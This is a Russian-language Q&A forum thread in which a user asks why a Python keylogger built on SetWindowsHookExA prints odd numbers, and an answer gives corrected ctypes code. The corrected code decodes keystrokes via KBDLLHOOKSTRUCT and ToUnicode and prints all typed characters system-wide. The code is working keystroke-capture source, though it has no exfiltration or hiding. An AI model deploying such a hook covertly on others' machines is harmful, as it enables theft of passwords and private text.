Python с использованием WinAPI SetWindowsHookExA на Windows 10 - PullRequest
0 голосов
/ 12 декабря 2018

Я экспериментирую с перехватом в python, используя SetWindowsHookExA с системой Windows 10.У меня есть рабочий код, и он правильно подключен. Но я не могу правильно преобразовать ответ в ключ.

Я получаю ответ из 12 цифр и ничего не вижу в документацииоб этом или о том, как его преобразовать.

этот код может быть устаревшим, но я пытаюсь просто настроить базовый кейлоггер без использования библиотек PyHook или PyWin32, если это возможно.

Здесьмой код:

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD

user32 = windll.user32
kernel32 = windll.kernel32

WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162

class KeyLogger:

    def __init__(self):
        self.lUser32 = user32
        self.hooked = None

    def installHookProc(self,pointer):
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        if not self.hooked:
            return False
        return True

    def uninstalHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)
    # hookedKey = chr(lParam[0])
    # print("HookedKey=" + hookedKey + ", KeyCode=" + str(lParam[0]))
    print("Hooked Key: " + str(lParam[0]))
    if(CTRL_CODE == int(lParam[0])):
        print("Ctrl pressed, call uninstallHook()")
        KeyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)

def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg), 0, 0, 0)

KeyLogger = KeyLogger()
pointer = getFPTR(hookProc)
if KeyLogger.installHookProc(pointer):
    print("Hook installed")

startKeyLog()

Вывод выглядит так:

Для ключа «a»: «Ключ с крюком: 128849018945» Для ключа «b»: «Ключ с крюком: 206158430274» Для ключа'c': "Hooked Key: 197568495683"

какая-нибудь помощь с чем-то, что я делаю неправильно с кодом?или, может быть, я просто не знаю, как преобразовать эти значения.

Спасибо

1 Ответ

0 голосов
/ 12 декабря 2018

Подключаемая процедура отправляет необработанную информацию клавиатуры через параметр LPARAM.Можно преобразовать это для набора символов ASCII, но это не удастся для других наборов символов.

Вместо этого мы должны получить структуру KBDLLHOOKSTRUCT из LPARAM, а затем использовать ToUnicode для преобразования необработанного ввода с клавиатуры в соответствующую строку Unicode.Вы можете посмотреть на простой пример WinAPI для ясности.

Пример Python:

import win32con
import ctypes
from ctypes import *
from ctypes.wintypes import DWORD

user32 = windll.user32
kernel32 = windll.kernel32

class KBDLLHOOKSTRUCT(Structure): _fields_=[
    ('vkCode',DWORD),
    ('scanCode',DWORD),
    ('flags',DWORD),
    ('time',DWORD),
    ('dwExtraInfo',DWORD)]

HOOKPROC = WINFUNCTYPE(HRESULT, c_int, ctypes.wintypes.WPARAM, ctypes.wintypes.LPARAM)

class KeyLogger:
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None
    def installHookProc(self,pointer):
        self.hooked = self.lUser32.SetWindowsHookExA(
            win32con.WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        if not self.hooked:
            return False
        return True
    def uninstalHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

def hookProc(nCode, wParam, lParam):
    if user32.GetKeyState(win32con.VK_CONTROL) & 0x8000:
        print("\nCtrl pressed, call uninstallHook()")
        KeyLogger.uninstalHookProc()
        return 0
    if nCode == win32con.HC_ACTION and wParam == win32con.WM_KEYDOWN:
        kb = KBDLLHOOKSTRUCT.from_address(lParam)
        user32.GetKeyState(win32con.VK_SHIFT)
        user32.GetKeyState(win32con.VK_MENU)
        state = (ctypes.c_char * 256)()
        user32.GetKeyboardState(byref(state))
        str = create_unicode_buffer(8)
        n = user32.ToUnicode(kb.vkCode, kb.scanCode, state, str, 8 - 1, 0)
        if n > 0:
            if kb.vkCode == win32con.VK_RETURN:
                print()
            else:
                print(ctypes.wstring_at(str), end = "", flush = True)
    return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)

KeyLogger = KeyLogger()
pointer = HOOKPROC(hookProc)
KeyLogger.installHookProc(pointer)
print("Hook installed")
msg = ctypes.wintypes.MSG()
user32.GetMessageA(byref(msg), 0, 0, 0) #wait for messages
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...